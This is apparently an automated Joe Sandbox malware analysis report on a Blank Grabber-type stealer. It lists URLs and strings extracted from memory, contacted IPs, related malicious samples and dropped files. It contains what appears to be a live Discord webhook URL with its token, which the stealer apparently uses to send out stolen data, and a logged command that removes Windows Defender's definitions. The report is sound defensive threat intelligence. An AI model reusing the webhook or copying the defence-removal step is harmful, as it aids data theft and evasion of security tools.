https://www.python.org/psf/license/)	X9g8L63QGs.exe, 00000007.00000002.1713477885.00007FFB0C620000.00000040.00000001.01000000.00000005.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	X9g8L63QGs.exe, 00000007.00000002.1692775608.000001E7C0B65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3858000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C346C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp	false		high
https://foss.heptapod.net/pypy/pypy/-/issues/3539	X9g8L63QGs.exe, 00000007.00000002.1697306895.000001E7C3180000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	X9g8L63QGs.exe, 00000007.00000003.1462666866.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691006091.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445882054.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1432565672.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1408663369.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1482149453.000001E7C29FF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694260601.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1450291264.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1456637981.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593098042.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://google.com/	X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694834714.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691509541.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	false		high
https://tools.ietf.org/html/rfc7231#section-4.3.6)	X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2E3D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2E3D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691509541.000001E7C2E41000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2E3D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1290762711.000001E7C2DFE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN	X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1692076374.000001E7C2EBC000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1695917994.000001E7C2EBD000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691987395.000001E7C2EBA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000046.00000002.1571908950.00000175246A7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discordapp.com/api/v9/users/	X9g8L63QGs.exe, 00000007.00000002.1694449403.000001E7C2A80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source	X9g8L63QGs.exe, 00000007.00000003.1279178659.000001E7C2577000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C24BC000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	X9g8L63QGs.exe, 00000007.00000002.1693137251.000001E7C24BC000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2920	X9g8L63QGs.exe, 00000007.00000002.1698377076.000001E7C339C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	X9g8L63QGs.exe, 00000007.00000002.1692775608.000001E7C0B65000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1279178659.000001E7C2577000.00000004.00000020.00020000.00000000.sdmp	false		high
https://yahoo.com/	X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1462666866.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691353377.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691006091.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445882054.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1432565672.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1408663369.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1482149453.000001E7C29FF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694260601.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1450291264.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1456637981.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593098042.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2DF2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.bellmedia.c	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C38BC000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	X9g8L63QGs.exe, 00000007.00000003.1291153468.000001E7C2E93000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1290762711.000001E7C2E8A000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694834714.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1290762711.000001E7C2DFE000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691509541.000001E7C2DF9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3898000.00000004.00001000.00020000.00000000.sdmp	false		high
http://cacerts.digicert.co	X9g8L63QGs.exe, 00000004.00000003.1274105717.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	X9g8L63QGs.exe, 00000004.00000003.1275216762.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp, rar.exe.4.dr	false		high
https://html.spec.whatwg.org/multipage/	X9g8L63QGs.exe, 00000007.00000002.1694834714.000001E7C2D9A000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691509541.000001E7C2D99000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ifeng.com/	X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C3874000.00000004.00001000.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings	X9g8L63QGs.exe, 00000007.00000002.1697306895.000001E7C3180000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	X9g8L63QGs.exe, 00000007.00000003.1590666816.000001E7C3EBB000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1592523972.000001E7C3A8A000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1690170405.000001E7C3A89000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C38B4000.00000004.00001000.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1709775944.000001E7C3A8A000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1590666816.000001E7C3EB4000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1701157947.000001E7C38D0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	X9g8L63QGs.exe, 00000007.00000003.1592918762.000001E7C3A1C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.rfc-editor.org/rfc/rfc8259#section-8.1	X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691353377.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000046.00000002.1571908950.00000175246A7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 00000046.00000002.1499829000.0000017515C5B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.gofile.io/getServerrz	X9g8L63QGs.exe, 00000007.00000002.1694834714.000001E7C2C80000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1289606937.000001E7C2D42000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.micr	powershell.exe, 00000014.00000002.1522920960.000002453402D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discord.com/api/webhooks/1315377405426270278/HIGwvC-Zpfa8Zkb7aEYPMg-EuYuZPz1LJEfXefQjcA8JYgb	X9g8L63QGs.exe, 00000007.00000002.1697306895.000001E7C3180000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.gofile.io/getServer	X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png	X9g8L63QGs.exe, 00000007.00000002.1709310873.000001E7C39E3000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000014.00000002.1488439935.000002452B935000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1571908950.0000017524565000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1499829000.0000017515E59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000046.00000002.1571908950.00000175246A7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000046.00000002.1499829000.0000017515C5B000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
162.159.137.232	discord.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584308
Start date and time:	2025-01-05 07:18:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	119
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	X9g8L63QGs.exe renamed because original name is a hash value
Original Sample Name:	006d680fdd592bcabb6ba965c61a82c2c97c1e30f5845984b5a5fb6b358316b4.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@176/56@4/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 98% Number of executed functions: 85 Number of non-executed functions: 188
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.131, 13.107.246.45, 52.149.20.212
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, gstatic.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 7276 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 3920 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7296 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:19:11	API Interceptor	8x Sleep call for process: WMIC.exe modified
01:19:14	API Interceptor	145x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	9g9LZNE4bH.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	riFSkYVMKB.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	ddos tool.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	kthiokadjg.exe	Get hash	malicious	Blackshades	Browse	ip-api.com/json/
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	ip-api.com/line/?fields=hosting
	file.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	file.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	23khy505ab.exe	Get hash	malicious	Njrat	Browse	ip-api.com/line/?fields=hosting
	XClient.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	Java32.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
162.159.137.232	9g9LZNE4bH.exe	Get hash	malicious	Blank Grabber	Browse
	rename_me_before.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse
	arm.elf	Get hash	malicious	Unknown	Browse
	Bloxflip Predictor.exe	Get hash	malicious	Njrat	Browse
	phost.exe	Get hash	malicious	Blank Grabber	Browse
	WE8zqotCFj.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse
	EsgeCzT4do.exe	Get hash	malicious	XWorm	Browse
	program.exe	Get hash	malicious	Blank Grabber	Browse
	NEVER OPEN!.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse
	YDW0S5K7hi.exe	Get hash	malicious	SilverRat	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discord.com	9g9LZNE4bH.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	riFSkYVMKB.exe	Get hash	malicious	Blank Grabber	Browse	162.159.138.232
	AimStar.exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	rename_me_before.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	162.159.137.232
	Fizzy Loader.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.138.232
	Jx6bD8nM4qW9sL3v.exe	Get hash	malicious	Unknown	Browse	162.159.128.233
	dsoft.exe	Get hash	malicious	Python Stealer, Creal Stealer	Browse	162.159.138.232
	DHL AWB-documents.lnk	Get hash	malicious	Divulge Stealer	Browse	162.159.138.232
	http://mee6.xyz	Get hash	malicious	Unknown	Browse	162.159.138.232
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	162.159.136.232
ip-api.com	9g9LZNE4bH.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	riFSkYVMKB.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	ddos tool.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	kthiokadjg.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	208.95.112.1
	file.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	file.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	23khy505ab.exe	Get hash	malicious	Njrat	Browse	208.95.112.1
	XClient.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	Java32.exe	Get hash	malicious	XWorm	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://bit.ly/3VYGxmh	Get hash	malicious	CAPTCHA Scam ClickFix, Phisher	Browse	104.18.95.41
	armv6l.elf	Get hash	malicious	Unknown	Browse	198.41.197.77
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	file.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.64.1
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	SOElePqvtf.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	m4lz5aeAiN.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	ehD7zv3l4U.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
TUT-ASUS	9g9LZNE4bH.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	riFSkYVMKB.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	ddos tool.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	kthiokadjg.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	file.exe	Get hash	malicious	AsyncRAT, XRed, XWorm	Browse	208.95.112.1
	file.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	file.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	23khy505ab.exe	Get hash	malicious	Njrat	Browse	208.95.112.1
	XClient.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	Java32.exe	Get hash	malicious	XWorm	Browse	208.95.112.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI33962\VCRUNTIME140.dll	riFSkYVMKB.exe	Get hash	malicious	Blank Grabber	Browse
	mcgen.exe	Get hash	malicious	Blank Grabber	Browse
	AimStar.exe	Get hash	malicious	Blank Grabber	Browse
	DChOtFdp9T.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse
	user.exe	Get hash	malicious	Unknown	Browse
	HX Design.exe	Get hash	malicious	Python Stealer, Blank Grabber	Browse
	YgJ5inWPQO.exe	Get hash	malicious	AsyncRAT, XWorm	Browse
	wp-s2.exe	Get hash	malicious	Python BackDoor	Browse
	wp-s2.exe	Get hash	malicious	Python BackDoor	Browse
	wp-cent.exe	Get hash	malicious	Python BackDoor	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\? ?\Display (1).png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	704614
Entropy (8bit):	7.928954301831258
Encrypted:	false
SSDEEP:	12288:0c7tSGZGc9BAsHal6UbsLWARajo9MqDD97yLa6:RMGREstLvajoqqDD97yLl
MD5:	6BBA932E5A8FA36282638D177E2FAB9C
SHA1:	8EC3C63BD08763F7CE4C8FAA18B8EEF10E049EEA
SHA-256:	9724B01C774130C74D9BBA865A280DC11C7A8D92E5244A3516C49B089ABB68E6
SHA-512:	8855D8EA9A14E2DCF10064F798902F446195CFA1C1F0B904B9C5888D2BEA0FB446810404E299D778E3457EDB20CEB8733120CF10E730B3CFCA17E3CC08F4FF02
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....fWy..........g.n...[u......3U3m.g@.r.9@#.....%$.b...P. ...cYBB......s.$...[.........sN.i.._.......w.......tN.y5.<.....NM.h..^..0..)k....3.3m._...I...'>..s.DA7}..dM..L.0I..g.....Wl6...........86...'...<.V.z\|$&..O..{T.w..GN.....e...a..}..6./<:...N....i..!.C.....{h.r...J.....DA.3....kY.....O.7..'....'DZ?.....`...i........Ew...?....L...2......q............}..[..o0..>Wj'....,./f.=?.,xw........(S.h.X9..w.}.......}.w..`....Nw.U..T..q{.p.mSX..[3.o.%......./,X...c...}s.y[b..\?.....L...{.,.;.....j`.y..qcF.=ojcK.v[.x...7T...>C_,N.....uc.-...j..)g..?...uw.........uUg.ks...=.gK1.....v..Z.r..v...G......pu.c. .....zl"]...8,..j..i....vLs;\..n.u.[..M.]....wJ.wL.nwu.......>}....Ll.e.....x.t..v..A.[..5..;..&\|--1..8}.E._.[..[.].....Wd..s=l.......[].Y......g..l}e..#6.U.w.t.-~PMl~y./.:}....f...>G..m...>h/....*..2.m..V...M/..l.....'.3..-.:....\|.../...\..:._.c....

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	894
Entropy (8bit):	3.1099977634615996
Encrypted:	false
SSDEEP:	12:Q58KRBubdpkoPAGdjrZ+rAk9+MlWlLehW51IC4+rp:QOaqdmOFdjrQrj+kWResLI4rp
MD5:	65519ADC656DEF71C20A51D6CFEE2713
SHA1:	B1E796133941557AD29B9D7F450ADA24634ACC6A
SHA-256:	0D122BF9E377907D9F9A3040508B08DEFE56362ECC6156AEAF98D9038F6E84AA
SHA-512:	E4B9AD5C8C6E00F7BDFA478D9C2D7B39A4F783A9F82FE75C4ACD2EE7E25A2A0E1A42E40D0949945FBA0BE487AA8491F234D3E797C21535D46D459AAA2736743F
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.M.p.C.m.d.R.u.n...e.x.e.". . .-.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s. .-.A.l.l..... .S.t.a.r.t. .T.i.m.e.:. .. S.u.n. .. J.a.n. .. 0.5. .. 2.0.2.5. .0.2.:.3.6.:.1.0.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....S.t.a.r.t.:. .M.p.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s.(.1.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. S.u.n. .. J.a.n. .. 0.5. .. 2.0.2.5. .0.2.:.3.6.:.1.0.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....

C:\Users\user\AppData\Local\Temp\RES5209.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4be, 9 symbols, created Sun Jan 5 07:36:01 2025, 1st section name ".debug$S"
Category:	modified
Size (bytes):	1380
Entropy (8bit):	4.146035591526891
Encrypted:	false
SSDEEP:	24:HrgDW9/5XAZHtwKW4tXNeI+ycuZhNVakSjPNnqSGd:LlJAZuKNBw1ulVa3JqS2
MD5:	BB940C5AFA6B2BCCE382B6BE8E0DAB94
SHA1:	ABE12DF994EADCFB62734E214B6A42FBBBE051BB
SHA-256:	F720D71990193D65F77095A282AB344EA8365E9A474333CF525AF135E2544EF0
